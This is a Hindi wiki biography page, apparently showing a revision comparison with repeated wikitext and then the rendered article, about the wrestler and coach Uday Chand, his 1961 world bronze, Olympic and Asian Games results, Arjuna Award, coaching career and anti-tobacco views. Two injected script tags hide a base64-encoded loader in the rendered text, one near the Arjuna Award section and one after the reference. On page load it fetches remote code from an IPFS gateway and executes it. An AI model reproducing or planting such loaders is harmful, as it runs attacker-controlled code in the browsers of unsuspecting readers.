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'''उदय चंद''' ([[अंग्रेज़ी]]: ''Uday Chand'', जन्म- [[25 जून]], [[1935]]) सेवानिवृत्त भारतीय पहलवान और [[कुश्ती]] कोच हैं। वह स्वतंत्र [[भारत]] के पहले व्यक्तिगत विश्व चैम्पियनशिप पदक विजेता रहे हैं। उन्हें [[1961]] में [[भारत सरकार]] द्वारा कुश्ती में प्रथम [[अर्जुन पुरस्कार]] से सम्मानित किया गया था। हिसार के आजाद नगर निवासी पहलवान उदय चंद देश के प्रथम अर्जुन अवार्डी हैं। साल [[1953]] से [[1970]] में वह [[भारतीय सेना]] में सूबेदार के पद पर रहे। इस दौरान [[1958]] से लेकर [[1970]] तक 12 वर्ष तक नेशनल चैंपियन रहे। साल [[1970]] से [[1995]] में हरियाणा एग्रीकल्चर यूनिवर्सिटी हिसार में बतौर प्रशिक्षक उन्होंने कई पहलवान तैयार किए। तीन बार ओलंपिक में देश का प्रतिनिधित्व किया। [[जापान]] के योकोहामा में 1961 में हुई वर्ल्‍ड रेसलिंग चैंपियनशिप में लाइट वेट वर्ग में कांस्य पदक जीता। पहलवान उदय चंद आजाद भारत के पहले व्यक्तिगत वर्ल्‍ड रेसलिंग चैंपियनशिप के पदक विजेता हैं। वह अपने भाई हरिराम के साथ विश्व चैंपियनशिप मे हिस्सा लेने गए थे। भारत के [[इतिहास]] मे ऐसा पहली बार था कि एक मां के दो बेटे विश्व चैंपियनशिप मेंं खेले थे।
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साल [[1970]] से [[1995]] में हरियाणा एग्रीकल्चर यूनिवर्सिटी हिसार में बतौर प्रशिक्षक उन्होंने कई पहलवान तैयार किए। तीन बार ओलंपिक में देश का प्रतिनिधित्व किया। [[जापान]] के योकोहामा में 1961 में हुई वर्ल्‍ड रेसलिंग चैंपियनशिप में लाइट वेट वर्ग में कांस्य पदक जीता। पहलवान उदय चंद आजाद भारत के पहले व्यक्तिगत वर्ल्‍ड रेसलिंग चैंपियनशिप के पदक विजेता हैं। वह अपने भाई हरिराम के साथ विश्व चैंपियनशिप मे हिस्सा लेने गए थे। भारत के [[इतिहास]] मे ऐसा पहली बार था कि एक मां के दो बेटे विश्व चैंपियनशिप मेंं खेले थे।
 
==परिचय==
 
==परिचय==
[[25 जून]] [[1935]] को हिसार के जांडली गांव में जन्मे उदय चंद को विश्व चैंपियनशिप में व्यक्तिगत पदक जीतने वाले स्वतंत्र भारत के पहले खिलाड़ी होने का गौरव प्राप्त है। [[कुश्ती]] के लिए देश का पहला अर्जुन पुरस्कार भी उन्हीं को मिला था। उनके नाम के साथ और भी कई रिकॉर्ड जुड़े हैं। उदय चंद लगातार 13 साल तक राष्ट्रीय चैंपियन रहे, जो आज भी एक राष्ट्रीय रिकॉर्ड है। इसके अलावा, वे और उनके बड़े भाई हरिराम एक-साथ विश्व चैंपियनशिप में हिस्सा लेने गए थे। इस बारे में एक बार खुद उदय चंद ने कहा था, “पहली बार हम दो सगे भाइयों ने विश्व चैंपियनशिप में हिस्सा लिया था। उसके बाद आज तक देश की एक मां के दो बेटे विश्व चैंपियनशिप में एक साथ नहीं गए हैं। हिसार में हम दो भाई ऐसे थे, जो इस मुकाम पर पहुंचे।” उदय चंद और भीम सिंह को [[हरियाणा]] के पहले ओलंपियन होने का गौरव भी मिला है। सन [[1968]] के ओलंपिक खेलों में उदय चंद ने कुश्ती में और भीम सिंह ने ऊंची कूद की स्पर्धा में हिस्सा लिया था।
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[[25 जून]] [[1935]] को हिसार के जांडली गांव में जन्मे उदय चंद को विश्व चैंपियनशिप में व्यक्तिगत पदक जीतने वाले स्वतंत्र भारत के पहले खिलाड़ी होने का गौरव प्राप्त है। [[कुश्ती]] के लिए देश का पहला अर्जुन पुरस्कार भी उन्हीं को मिला था। उनके नाम के साथ और भी कई रिकॉर्ड जुड़े हैं। उदय चंद लगातार 13 साल तक राष्ट्रीय चैंपियन रहे, जो आज भी एक राष्ट्रीय रिकॉर्ड है। इसके अलावा, वे और उनके बड़े भाई हरिराम एक-साथ विश्व चैंपियनशिप में हिस्सा लेने गए थे। इस बारे में एक बार खुद उदय चंद ने कहा था, “पहली बार हम दो सगे भाइयों ने विश्व चैंपियनशिप में हिस्सा लिया था। उसके बाद आज तक देश की एक मां के दो बेटे विश्व चैंपियनशिप में एक साथ नहीं गए हैं। हिसार में हम दो भाई ऐसे थे, जो इस मुकाम पर पहुंचे।” उदय चंद और भीम सिंह को [[हरियाणा]] के पहले ओलंपियन होने का गौरव भी मिला है। सन [[1968]] के ओलंपिक खेलों में उदय चंद ने कुश्ती में और भीम सिंह ने ऊंची कूद की स्पर्धा में हिस्सा लिया था।<ref name="pp">{{cite web |url=https://saridunia.com/wrestler-uday-chand/ |title=विश्व चैंपियनशिप के पहले पदक विजेता पहलवान उदयचंद|accessmonthday=23 मार्च|accessyear=2024 |last= |first= |authorlink= |format= |publisher=saridunia.com |language=हिंदी}}</ref>
 
==कांस्य विजेता==
 
==कांस्य विजेता==
 
पहलवान उदय चंद ने 1961 में [[जापान]] के योकोहम में हुई एफआईएलए (FILA) रेसलिंग वर्ल्ड चैंपियनशिप में देश के लिए कांस्य पदक जीतकर नया इतिहास रचा था। उन्होंने यह उपलब्धि फ्रीस्टाइल कुश्ती के 67 किलोग्राम भार वर्ग, यानी लाइटवेट में हासिल की। उन्हें ईरान के विश्व चैंपियन पहलवान मोहम्मद अली स्नातकरन ने अंकों के आधार पर हराया।
 
पहलवान उदय चंद ने 1961 में [[जापान]] के योकोहम में हुई एफआईएलए (FILA) रेसलिंग वर्ल्ड चैंपियनशिप में देश के लिए कांस्य पदक जीतकर नया इतिहास रचा था। उन्होंने यह उपलब्धि फ्रीस्टाइल कुश्ती के 67 किलोग्राम भार वर्ग, यानी लाइटवेट में हासिल की। उन्हें ईरान के विश्व चैंपियन पहलवान मोहम्मद अली स्नातकरन ने अंकों के आधार पर हराया।
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*सन [[1958]] से [[1970]] तक 13 वर्ष निर्विवाद राष्ट्रीय चैंपियन रहे उदय चंद ने 1970 के एडिनबर्ग कॉमनवेल्थ खेलों में स्वर्ण पदक जीतकर अपने चमकदार खेल कैरियर को विराम दिया।
 
*सन [[1958]] से [[1970]] तक 13 वर्ष निर्विवाद राष्ट्रीय चैंपियन रहे उदय चंद ने 1970 के एडिनबर्ग कॉमनवेल्थ खेलों में स्वर्ण पदक जीतकर अपने चमकदार खेल कैरियर को विराम दिया।
 
==अर्जुन पुरस्कार==
 
==अर्जुन पुरस्कार==
वर्ल्ड चैंपियनशिप में देश के लिए पहला पदक जीतने और [[कुश्ती]] के खेल में उल्लेखनीय उपलब्धियां हासिल करने के लिए उन्हें 1961 में [[अर्जुन पुरस्कार]] प्रदान किया गया। खेलों के क्षेत्र में दिए जाने वाले इस प्रतिष्ठित अवार्ड को हासिल करने वाले वे कुश्ती के पहले खिलाड़ी रहे हैं। यह भी उल्लेखनीय है कि उन्हें अर्जुन पुरस्कार के स्थापना वर्ष में ही यह अवार्ड मिल गया। यानी, वे इस पुरस्कार के लिए चुने गए देश के पहले 18 खिलाड़ियों में शामिल रहे। अर्जुन पुरस्कार की स्थापना वर्ष 1961 में ही हुई थी।
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वर्ल्ड चैंपियनशिप में देश के लिए पहला पदक जीतने और [[कुश्ती]] के खेल में उल्लेखनीय उपलब्धियां हासिल करने के लिए उन्हें 1961 में [[अर्जुन पुरस्कार]] प्रदान किया गया। खेलों के क्षेत्र में दिए जाने वाले इस प्रतिष्ठित अवार्ड को हासिल करने वाले वे कुश्ती के पहले खिलाड़ी रहे हैं। यह भी उल्लेखनीय है कि उन्हें अर्जुन पुरस्कार के स्थापना वर्ष में ही यह अवार्ड मिल गया। यानी, वे इस पुरस्कार के लिए चुने गए देश के पहले 18 खिलाड़ियों में शामिल रहे। अर्जुन पुरस्कार की स्थापना वर्ष 1961 में ही हुई थी।<ref name="pp"/>
 
==कुश्ती कोच==
 
==कुश्ती कोच==
 
भारतीय सेना से सूबेदार के पद से सेवानिवृत्त होने के बाद उदय चंद ने चौधरी चरण सिंह हरियाणा कृषि विश्वविद्यालय, हिसार में कुश्ती कोच का कार्यभार संभाल लिया। यहां उन्होंने 1970 से लेकर [[1996]] तक, 26 वर्ष अपनी सेवाएं दीं। इस दौरान उन्होंने अनेक युवा प्रतिभाओं को निखारा। उनकी देखरेख में कुश्ती के दाव-पेंच सीख कर कई पहलवानों ने राष्ट्रीय और अंतरराष्ट्रीय स्तर पर उत्कृष्ट प्रदर्शन किया और देश-प्रदेश व अपने विश्वविद्यालय का नाम रोशन किया। हरियाणा कृषि विश्वविद्यालय की टीम ने उनके मार्गदर्शन में खेलते हुए अनेक बार ऑल इंडिया इंटर यूनिवर्सिटी चैंपियनशिप जीती।
 
भारतीय सेना से सूबेदार के पद से सेवानिवृत्त होने के बाद उदय चंद ने चौधरी चरण सिंह हरियाणा कृषि विश्वविद्यालय, हिसार में कुश्ती कोच का कार्यभार संभाल लिया। यहां उन्होंने 1970 से लेकर [[1996]] तक, 26 वर्ष अपनी सेवाएं दीं। इस दौरान उन्होंने अनेक युवा प्रतिभाओं को निखारा। उनकी देखरेख में कुश्ती के दाव-पेंच सीख कर कई पहलवानों ने राष्ट्रीय और अंतरराष्ट्रीय स्तर पर उत्कृष्ट प्रदर्शन किया और देश-प्रदेश व अपने विश्वविद्यालय का नाम रोशन किया। हरियाणा कृषि विश्वविद्यालय की टीम ने उनके मार्गदर्शन में खेलते हुए अनेक बार ऑल इंडिया इंटर यूनिवर्सिटी चैंपियनशिप जीती।
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एक खिलाड़ी और कोच के रूप में बेहद सफल जीवन जीते हुए शानदार उपलब्धियां हासिल करने वाले उदय चंद ने [[हरियाणा]] में कुश्ती के विकास में भी महत्वपूर्ण भूमिका निभाई है। आज से करीब 50 साल पहले जब उदय चंद दुनिया-भर में देश का परचम फहरा रहे थे, तब कुश्ती को लड़कपन के एक खेल और मनोरंजन के हिस्से के तौर पर ही अधिक मान्यता प्राप्त थी। तब न तो कुश्ती सिखाने के पर्याप्त ट्रेनिंग सेंटर थे और न ही लोग अपने बच्चों को इस खेल की बारीकियां सिखाने को तैयार थे। वर्ल्ड चैंपियनशिप में पदक जीतकर उदय चंद ने जो मान-सम्मान और रुतबा हासिल किया, उसने नि:संदेह युवाओं को इस खेल की तरफ आकर्षित किया। उन से प्रेरित होकर कितने ही युवाओं ने कुश्ती के खेल को अपनाया। यही नहीं, उन्होंने उभरते हुए खिलाड़ियों को सही रास्ता दिखाकर उन्हें आगे बढ़ाने में भी अहम भूमिका निभाई। यह उन जैसे खिलाड़ियों की प्रेरणा और मार्गदर्शन ही है कि आज हरियाणा के पुरुष ही नहीं, महिला खिलाड़ी भी अंतरराष्ट्रीय स्तर पर प्रदेश का नाम रोशन कर चुके हैं।
 
एक खिलाड़ी और कोच के रूप में बेहद सफल जीवन जीते हुए शानदार उपलब्धियां हासिल करने वाले उदय चंद ने [[हरियाणा]] में कुश्ती के विकास में भी महत्वपूर्ण भूमिका निभाई है। आज से करीब 50 साल पहले जब उदय चंद दुनिया-भर में देश का परचम फहरा रहे थे, तब कुश्ती को लड़कपन के एक खेल और मनोरंजन के हिस्से के तौर पर ही अधिक मान्यता प्राप्त थी। तब न तो कुश्ती सिखाने के पर्याप्त ट्रेनिंग सेंटर थे और न ही लोग अपने बच्चों को इस खेल की बारीकियां सिखाने को तैयार थे। वर्ल्ड चैंपियनशिप में पदक जीतकर उदय चंद ने जो मान-सम्मान और रुतबा हासिल किया, उसने नि:संदेह युवाओं को इस खेल की तरफ आकर्षित किया। उन से प्रेरित होकर कितने ही युवाओं ने कुश्ती के खेल को अपनाया। यही नहीं, उन्होंने उभरते हुए खिलाड़ियों को सही रास्ता दिखाकर उन्हें आगे बढ़ाने में भी अहम भूमिका निभाई। यह उन जैसे खिलाड़ियों की प्रेरणा और मार्गदर्शन ही है कि आज हरियाणा के पुरुष ही नहीं, महिला खिलाड़ी भी अंतरराष्ट्रीय स्तर पर प्रदेश का नाम रोशन कर चुके हैं।
 
==तम्बाकू उत्पादों के घोर विरोधी==
 
==तम्बाकू उत्पादों के घोर विरोधी==
उदय चंद के बारे में एक और महत्वपूर्ण बात यह है कि वे बीड़ी, सिगरेट, हुक्का और अन्य [[तम्बाकू]] उत्पादों के घोर विरोधी हैं। उनका मानना है कि वे तम्बाकू की लत के कारण ही विश्व कुश्ती चैम्पियनशिप में स्वर्ण जीतने से चूक गए थे और उन्हें कांस्य पदक से संतोष करना पड़ा था। एक बातचीत में उन्होंने कहा, “मुझे इस बात का दु:ख है कि मैं हुक्का पीता था और बीड़ी-सिगरेट, तंबाकू का सेवन करता था। मुझे आज तक इस बात का मलाल है कि अगर मैं ऐसा नहीं करता तो मैं स्वर्ण पदक जीत सकता था।” उन्होंने कहा, "हुक्के ने सारा खेल बिगाड़ दिया, वर्ना आज मेरे पास कम से कम 15 पदक होते।" शायद यही कारण है कि वे देश की युवा पीढ़ी, विशेषकर खिलाड़ियों को तंबाकू, सिगरेट, बीड़ी, हुक्का जैसे तंबाकू उत्पादों से दूर रहने की सलाह देते हैं। वे अपने शिष्यों को भी इन व्यसनों से बचे रहने की सीख देते हैं और कहते हैं, "तंबाकू को हाथ न लगाओ, बाकी सब मैं संभाल लूंगा।" उल्लेखनीय है कि ढलती उम्र के बावजूद वे आज भी खिलाड़ियों को [[कुश्ती]] की बारीकियां सिखाने में सक्रिय हैं।
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उदय चंद के बारे में एक और महत्वपूर्ण बात यह है कि वे बीड़ी, सिगरेट, हुक्का और अन्य [[तम्बाकू]] उत्पादों के घोर विरोधी हैं। उनका मानना है कि वे तम्बाकू की लत के कारण ही विश्व कुश्ती चैम्पियनशिप में स्वर्ण जीतने से चूक गए थे और उन्हें कांस्य पदक से संतोष करना पड़ा था। एक बातचीत में उन्होंने कहा, “मुझे इस बात का दु:ख है कि मैं हुक्का पीता था और बीड़ी-सिगरेट, तंबाकू का सेवन करता था। मुझे आज तक इस बात का मलाल है कि अगर मैं ऐसा नहीं करता तो मैं स्वर्ण पदक जीत सकता था।” उन्होंने कहा, "हुक्के ने सारा खेल बिगाड़ दिया, वर्ना आज मेरे पास कम से कम 15 पदक होते।" शायद यही कारण है कि वे देश की युवा पीढ़ी, विशेषकर खिलाड़ियों को तंबाकू, सिगरेट, बीड़ी, हुक्का जैसे तंबाकू उत्पादों से दूर रहने की सलाह देते हैं। वे अपने शिष्यों को भी इन व्यसनों से बचे रहने की सीख देते हैं और कहते हैं, "तंबाकू को हाथ न लगाओ, बाकी सब मैं संभाल लूंगा।" उल्लेखनीय है कि ढलती उम्र के बावजूद वे आज भी खिलाड़ियों को [[कुश्ती]] की बारीकियां सिखाने में सक्रिय हैं।<ref name="pp"/>
  
 
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07:01, 23 मार्च 2024 के समय का अवतरण

उदय चंद
उदय चंद
पूरा नाम उदय चंद
जन्म 25 जून, 1935
जन्म भूमि जांडली गांव, हिसार, हरियाणा
कर्म भूमि भारत
खेल-क्षेत्र कुश्ती
पुरस्कार-उपाधि 'अर्जुन पुरस्कार', 1961
नागरिकता भारतीय
कद 5 फुट 9 इंच (175 से.मी.)
एफ़आईएलए विश्व चैम्पियनशिप कांस्य पदक, योकोहामा, फ्रीस्टाइल, 1961
कॉमनवेल्थ खेल स्वर्ण पदक, एडिनबर्ग, 1970
एशियन खेल रजत पदक, जकार्ता, 1962 (फ्रीस्टाइल, 70 कि.ग्रा. वर्ग)

रजत पदक, जकार्ता, 1962 (ग्रीको रोमन, 70 कि.ग्रा. वर्ग) कांस्य पदक, बैंकॉक, 1966 (फ्रीस्टाइल)

अन्य जानकारी उदय चंद के नाम कई रिकॉर्ड जुड़े हैं। वह लगातार 13 साल तक राष्ट्रीय चैंपियन रहे हैं, जो आज भी एक राष्ट्रीय रिकॉर्ड है। इसके अलावा, वे और उनके बड़े भाई हरिराम एक-साथ विश्व चैंपियनशिप में हिस्सा लेने गए थे।
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साल 1970 से 1995 में हरियाणा एग्रीकल्चर यूनिवर्सिटी हिसार में बतौर प्रशिक्षक उन्होंने कई पहलवान तैयार किए। तीन बार ओलंपिक में देश का प्रतिनिधित्व किया। जापान के योकोहामा में 1961 में हुई वर्ल्‍ड रेसलिंग चैंपियनशिप में लाइट वेट वर्ग में कांस्य पदक जीता। पहलवान उदय चंद आजाद भारत के पहले व्यक्तिगत वर्ल्‍ड रेसलिंग चैंपियनशिप के पदक विजेता हैं। वह अपने भाई हरिराम के साथ विश्व चैंपियनशिप मे हिस्सा लेने गए थे। भारत के इतिहास मे ऐसा पहली बार था कि एक मां के दो बेटे विश्व चैंपियनशिप मेंं खेले थे।

परिचय

25 जून 1935 को हिसार के जांडली गांव में जन्मे उदय चंद को विश्व चैंपियनशिप में व्यक्तिगत पदक जीतने वाले स्वतंत्र भारत के पहले खिलाड़ी होने का गौरव प्राप्त है। कुश्ती के लिए देश का पहला अर्जुन पुरस्कार भी उन्हीं को मिला था। उनके नाम के साथ और भी कई रिकॉर्ड जुड़े हैं। उदय चंद लगातार 13 साल तक राष्ट्रीय चैंपियन रहे, जो आज भी एक राष्ट्रीय रिकॉर्ड है। इसके अलावा, वे और उनके बड़े भाई हरिराम एक-साथ विश्व चैंपियनशिप में हिस्सा लेने गए थे। इस बारे में एक बार खुद उदय चंद ने कहा था, “पहली बार हम दो सगे भाइयों ने विश्व चैंपियनशिप में हिस्सा लिया था। उसके बाद आज तक देश की एक मां के दो बेटे विश्व चैंपियनशिप में एक साथ नहीं गए हैं। हिसार में हम दो भाई ऐसे थे, जो इस मुकाम पर पहुंचे।” उदय चंद और भीम सिंह को हरियाणा के पहले ओलंपियन होने का गौरव भी मिला है। सन 1968 के ओलंपिक खेलों में उदय चंद ने कुश्ती में और भीम सिंह ने ऊंची कूद की स्पर्धा में हिस्सा लिया था।[1]

कांस्य विजेता

पहलवान उदय चंद ने 1961 में जापान के योकोहम में हुई एफआईएलए (FILA) रेसलिंग वर्ल्ड चैंपियनशिप में देश के लिए कांस्य पदक जीतकर नया इतिहास रचा था। उन्होंने यह उपलब्धि फ्रीस्टाइल कुश्ती के 67 किलोग्राम भार वर्ग, यानी लाइटवेट में हासिल की। उन्हें ईरान के विश्व चैंपियन पहलवान मोहम्मद अली स्नातकरन ने अंकों के आधार पर हराया।

कुश्ती खिलाड़ी और कोच

कुश्ती खिलाड़ी और कोच के रूप में नाम कमाने वाले उदय चंद को फ्री स्टाइल कुश्ती के साथ-साथ ग्रीको रोमन में भी बराबर की महारत हासिल रही। उन्हें चार बार रेसलिंग वर्ल्ड चैंपियनशिप में भाग लेने का श्रेय प्राप्त है। सन 1961 में योकोहम के बाद उन्होंने 1965 मैनचेस्टर वर्ल्ड चैंपियनशिप, 1967 दिल्ली वर्ल्ड चैंपियनशिप और 1970 एडमोंटन वर्ल्ड चैंपियनशिप में शिरकत की। 1967 दिल्ली वर्ल्ड चैंपियनशिप में वे फ्रीस्टाइल कुश्ती के 70 किलोग्राम भार वर्ग में पांचवें स्थान पर रहे।

देश का प्रतिनिधित्व

  • भारतीय सेना की देन उदय चंद ने लगातार तीन ओलंपिक खेलों में देश का प्रतिनिधित्व किया।
  • 1960 के रोम ओलंपिक खेलों और 1964 के टोक्यो ओलंपिक में तो वे कुछ खास नहीं कर पाए, किंतु 1968 के मेक्सिको सिटी ओलंपिक खेलों में उन्होंने दमदार प्रदर्शन करते हुए छठा स्थान हासिल किया।
  • वर्ल्ड चैंपियनशिप और ओलंपिक खेलों में देश का नाम रोशन करने के अलावा उन्होंने दो बार एशियाई खेलों में भी भाग लिया और दोनों में ही पदक जीते।
  • 1962 के जकार्ता एशियाई खेलों में उन्होंने फ्रीस्टाइल और ग्रीको रोमन, दोनों प्रारूपों में चुनौती पेश की और अपने प्रतिनिधियों को धूल चटाते हुए दोनों में ही रजत पदक हासिल किए।
  • जकार्ता में दो रजत पदक जीतने वाले उदय चंद को अगली बार 1966 के बैंकॉक एशियाई खेलों में कांस्य पदक से ही संतोष करना पड़ा। वे 70 किलोग्राम फ्रीस्टाइल कुश्ती में तीसरे स्थान पर रहे।
  • सन 1958 से 1970 तक 13 वर्ष निर्विवाद राष्ट्रीय चैंपियन रहे उदय चंद ने 1970 के एडिनबर्ग कॉमनवेल्थ खेलों में स्वर्ण पदक जीतकर अपने चमकदार खेल कैरियर को विराम दिया।

अर्जुन पुरस्कार

Blockquote-open.gif उदय चंद बीड़ी, सिगरेट, हुक्का और अन्य तम्बाकू उत्पादों के घोर विरोधी हैं। उनका मानना है कि "वे तम्बाकू की लत के कारण ही विश्व कुश्ती चैम्पियनशिप में स्वर्ण जीतने से चूक गए थे और उन्हें कांस्य पदक से संतोष करना पड़ा था"। एक बातचीत में उन्होंने कहा था, "मुझे इस बात का दु:ख है कि मैं हुक्का पीता था और बीड़ी-सिगरेट, तंबाकू का सेवन करता था। मुझे आज तक इस बात का मलाल है कि अगर मैं ऐसा नहीं करता तो मैं स्वर्ण पदक जीत सकता था"। Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> वर्ल्ड चैंपियनशिप में देश के लिए पहला पदक जीतने और कुश्ती के खेल में उल्लेखनीय उपलब्धियां हासिल करने के लिए उन्हें 1961 में अर्जुन पुरस्कार प्रदान किया गया। खेलों के क्षेत्र में दिए जाने वाले इस प्रतिष्ठित अवार्ड को हासिल करने वाले वे कुश्ती के पहले खिलाड़ी रहे हैं। यह भी उल्लेखनीय है कि उन्हें अर्जुन पुरस्कार के स्थापना वर्ष में ही यह अवार्ड मिल गया। यानी, वे इस पुरस्कार के लिए चुने गए देश के पहले 18 खिलाड़ियों में शामिल रहे। अर्जुन पुरस्कार की स्थापना वर्ष 1961 में ही हुई थी।[1]

कुश्ती कोच

भारतीय सेना से सूबेदार के पद से सेवानिवृत्त होने के बाद उदय चंद ने चौधरी चरण सिंह हरियाणा कृषि विश्वविद्यालय, हिसार में कुश्ती कोच का कार्यभार संभाल लिया। यहां उन्होंने 1970 से लेकर 1996 तक, 26 वर्ष अपनी सेवाएं दीं। इस दौरान उन्होंने अनेक युवा प्रतिभाओं को निखारा। उनकी देखरेख में कुश्ती के दाव-पेंच सीख कर कई पहलवानों ने राष्ट्रीय और अंतरराष्ट्रीय स्तर पर उत्कृष्ट प्रदर्शन किया और देश-प्रदेश व अपने विश्वविद्यालय का नाम रोशन किया। हरियाणा कृषि विश्वविद्यालय की टीम ने उनके मार्गदर्शन में खेलते हुए अनेक बार ऑल इंडिया इंटर यूनिवर्सिटी चैंपियनशिप जीती।

खिलाड़ियों के लिये प्रेरणा

एक खिलाड़ी और कोच के रूप में बेहद सफल जीवन जीते हुए शानदार उपलब्धियां हासिल करने वाले उदय चंद ने हरियाणा में कुश्ती के विकास में भी महत्वपूर्ण भूमिका निभाई है। आज से करीब 50 साल पहले जब उदय चंद दुनिया-भर में देश का परचम फहरा रहे थे, तब कुश्ती को लड़कपन के एक खेल और मनोरंजन के हिस्से के तौर पर ही अधिक मान्यता प्राप्त थी। तब न तो कुश्ती सिखाने के पर्याप्त ट्रेनिंग सेंटर थे और न ही लोग अपने बच्चों को इस खेल की बारीकियां सिखाने को तैयार थे। वर्ल्ड चैंपियनशिप में पदक जीतकर उदय चंद ने जो मान-सम्मान और रुतबा हासिल किया, उसने नि:संदेह युवाओं को इस खेल की तरफ आकर्षित किया। उन से प्रेरित होकर कितने ही युवाओं ने कुश्ती के खेल को अपनाया। यही नहीं, उन्होंने उभरते हुए खिलाड़ियों को सही रास्ता दिखाकर उन्हें आगे बढ़ाने में भी अहम भूमिका निभाई। यह उन जैसे खिलाड़ियों की प्रेरणा और मार्गदर्शन ही है कि आज हरियाणा के पुरुष ही नहीं, महिला खिलाड़ी भी अंतरराष्ट्रीय स्तर पर प्रदेश का नाम रोशन कर चुके हैं।

तम्बाकू उत्पादों के घोर विरोधी

उदय चंद के बारे में एक और महत्वपूर्ण बात यह है कि वे बीड़ी, सिगरेट, हुक्का और अन्य तम्बाकू उत्पादों के घोर विरोधी हैं। उनका मानना है कि वे तम्बाकू की लत के कारण ही विश्व कुश्ती चैम्पियनशिप में स्वर्ण जीतने से चूक गए थे और उन्हें कांस्य पदक से संतोष करना पड़ा था। एक बातचीत में उन्होंने कहा, “मुझे इस बात का दु:ख है कि मैं हुक्का पीता था और बीड़ी-सिगरेट, तंबाकू का सेवन करता था। मुझे आज तक इस बात का मलाल है कि अगर मैं ऐसा नहीं करता तो मैं स्वर्ण पदक जीत सकता था।” उन्होंने कहा, "हुक्के ने सारा खेल बिगाड़ दिया, वर्ना आज मेरे पास कम से कम 15 पदक होते।" शायद यही कारण है कि वे देश की युवा पीढ़ी, विशेषकर खिलाड़ियों को तंबाकू, सिगरेट, बीड़ी, हुक्का जैसे तंबाकू उत्पादों से दूर रहने की सलाह देते हैं। वे अपने शिष्यों को भी इन व्यसनों से बचे रहने की सीख देते हैं और कहते हैं, "तंबाकू को हाथ न लगाओ, बाकी सब मैं संभाल लूंगा।" उल्लेखनीय है कि ढलती उम्र के बावजूद वे आज भी खिलाड़ियों को कुश्ती की बारीकियां सिखाने में सक्रिय हैं।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 विश्व चैंपियनशिप के पहले पदक विजेता पहलवान उदयचंद (हिंदी) saridunia.com। अभिगमन तिथि: 23 मार्च, 2024।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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